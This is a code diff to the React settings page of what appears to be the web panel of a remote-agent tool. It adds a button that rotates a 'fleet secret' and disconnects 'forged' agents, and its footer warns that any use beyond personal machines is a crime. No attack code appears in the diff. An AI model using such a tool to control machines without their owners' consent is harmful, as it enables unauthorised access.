cancelBuild: (cancelToken: string) =>
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
method: 'DELETE',
}),
};

View File

@@ -1,6 +1,6 @@
import { useState, useEffect, useRef } from 'react';
import { api } from '../api/client';
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth';
import type { ServerConfig } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
import NeonCard from '../components/NeonCard/NeonCard';
@@ -40,6 +40,8 @@ export default function SettingsPage() {
const [sessionUser, setSessionUser] = useState('');
const [sessionPass, setSessionPass] = useState('');
const [userMsg, setUserMsg] = useState('');
const [rotatingSecret, setRotatingSecret] = useState(false);
const [rotateMsg, setRotateMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
@@ -148,6 +150,31 @@ export default function SettingsPage() {
setTimeout(() => setUserMsg(''), 3000);
};
const handleRotateSecret = async () => {
if (!window.confirm(
'Rotate fleet secret?\n\n' +
'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' +
'Click OK only if you are ready to re-forge your entire fleet.'
)) return;
setRotatingSecret(true);
setRotateMsg('');
try {
await fetch('/api/v1/server/rotate-secret', {
method: 'POST',
headers: { ...authHeaders() },
}).then(async (r) => {
if (!r.ok) throw new Error(await r.text());
return r.json();
});
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
} catch (e: unknown) {
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setRotatingSecret(false);
setTimeout(() => setRotateMsg(''), 6000);
}
};
const handleAddUser = async () => {
if (!newUser || !newPass) return;
try {
@@ -603,6 +630,34 @@ export default function SettingsPage() {
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
)}
</NeonCard>
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Fleet Security</h2>
<p className="section-desc">
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
Agents without the correct secret are rejected. Use rotation if the secret is compromised
it immediately kicks all connected agents; re-forge to reconnect.
</p>
<div style={{ display: 'flex', alignItems: 'center', gap: '1rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline"
style={{ borderColor: 'var(--accent-red)', color: 'var(--accent-red)' }}
onClick={handleRotateSecret}
disabled={rotatingSecret}
>
{rotatingSecret ? 'Rotating…' : 'Rotate Fleet Secret'}
</button>
<span className="form-hint" style={{ color: 'var(--accent-amber)' }}>
Kicks all agents. You must re-forge after rotating.
</span>
</div>
{rotateMsg && (
<p style={{ marginTop: '0.5rem', color: rotateMsg.startsWith('Rotation failed') ? '#ff4444' : '#00ff44', fontSize: '0.9rem' }}>
{rotateMsg}
</p>
)}
</NeonCard>
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.